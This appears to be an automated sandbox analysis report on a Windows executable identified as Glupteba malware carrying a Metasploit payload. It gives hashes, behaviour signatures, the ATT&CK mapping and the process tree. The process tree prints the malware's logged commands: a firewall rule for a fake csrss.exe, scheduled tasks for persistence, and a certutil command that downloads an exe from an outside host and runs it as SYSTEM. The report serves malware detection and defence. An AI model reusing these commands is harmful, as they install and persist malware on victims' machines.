Overview

overview

10

Static

static

3

9a3cade87f...18.exe

windows7-x64

10

9a3cade87f...18.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    144s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-08-2024 13:34

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General

  • Target

    9a3cade87f931cf57055b3d15f4f8333_JaffaCakes118.exe

  • Size

    3.8MB

  • MD5

    9a3cade87f931cf57055b3d15f4f8333

  • SHA1

    a5b0cd9e17d1f1fce3a1734b33c216602ea50073

  • SHA256

    12f7f2bd2f6e7c047387fe38c981032f867ce7c55f1d9a59fe0897876ac8c56c

  • SHA512

    7437d8e34083e05a118af71b39809a35afb0492af5bf28bf393f43d318985ef0c19f62583b67f38869a38ea0621ecfbd1c630223c48a10d43a2c277b417bf3e0

  • SSDEEP

    98304:HHEqstCEkXltlyU7v+B9VrnPXN+Nxozea9jnzn:HFst0X9N6VrnPXkeqaR

Score
10/10
gluptebametasploitbackdoordiscoverydropperevasionloaderpersistenceprivilege_escalationrootkittrojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 20 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    trojanbackdoormetasploit
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    evasion
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
    evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\9a3cade87f931cf57055b3d15f4f8333_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\9a3cade87f931cf57055b3d15f4f8333_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1936
    • C:\Users\Admin\AppData\Local\Temp\9a3cade87f931cf57055b3d15f4f8333_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\9a3cade87f931cf57055b3d15f4f8333_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1844
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3132
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:772
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:440
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2040
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3224
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:3444
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:1708
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1844 -s 748
        3⤵
        • Program crash
        PID:4264
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1936 -s 832
      2⤵
      • Program crash
      PID:212
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1936 -ip 1936
    1⤵
      PID:468
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 1844 -ip 1844
      1⤵
        PID:692

      Network

      MITRE ATT&CK Enterprise v15

      Reconnaissance

      Resource Development

      Initial Access

      Execution

      Scheduled Task/Job

      1
      T1053

      Scheduled Task

      1
      T1053.005

      Persistence

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Create or Modify System Process

      1
      T1543

      Windows Service

      1
      T1543.003

      Event Triggered Execution

      1
      T1546

      Netsh Helper DLL

      1
      T1546.007

      Scheduled Task/Job

      1
      T1053

      Scheduled Task

      1
      T1053.005

      Privilege Escalation

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Create or Modify System Process

      1
      T1543

      Windows Service

      1
      T1543.003

      Event Triggered Execution

      1
      T1546

      Netsh Helper DLL

      1
      T1546.007

      Scheduled Task/Job

      1
      T1053

      Scheduled Task

      1
      T1053.005

      Defense Evasion

      Impair Defenses

      1
      T1562

      Disable or Modify System Firewall

      1
      T1562.004

      Modify Registry

      2
      T1112

      Subvert Trust Controls

      1
      T1553

      Install Root Certificate

      1
      T1553.004

      Credential Access

      Discovery

      Query Registry

      2
      T1012

      System Information Discovery

      1
      T1082

      System Location Discovery

      1
      T1614

      System Language Discovery

      1
      T1614.001

      Lateral Movement

      Collection

      Command and Control

      Web Service

      1
      T1102

      Exfiltration

      Impact

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
        Filesize

        1.7MB

        MD5

        13aaafe14eb60d6a718230e82c671d57

        SHA1

        e039dd924d12f264521b8e689426fb7ca95a0a7b

        SHA256

        f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

        SHA512

        ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

        Download Submit

      • C:\Windows\rss\csrss.exe
        Filesize

        3.8MB

        MD5

        9a3cade87f931cf57055b3d15f4f8333

        SHA1

        a5b0cd9e17d1f1fce3a1734b33c216602ea50073

        SHA256

        12f7f2bd2f6e7c047387fe38c981032f867ce7c55f1d9a59fe0897876ac8c56c

        SHA512

        7437d8e34083e05a118af71b39809a35afb0492af5bf28bf393f43d318985ef0c19f62583b67f38869a38ea0621ecfbd1c630223c48a10d43a2c277b417bf3e0

        Download Submit

      • memory/440-27-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/440-20-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/440-22-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/440-29-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/440-26-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/440-21-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/440-25-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/440-31-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/440-23-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/440-28-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/440-32-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/440-30-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/440-19-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/440-24-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/1844-14-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/1844-8-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/1844-7-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/1936-4-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/1936-1-0x0000000001480000-0x0000000001833000-memory.dmp

        Filesize

        3.7MB

        Download

      • memory/1936-5-0x0000000001840000-0x0000000002044000-memory.dmp

        Filesize

        8.0MB

        Download

      • memory/1936-2-0x0000000001840000-0x0000000002044000-memory.dmp

        Filesize

        8.0MB

        Download

      • memory/1936-3-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

        Download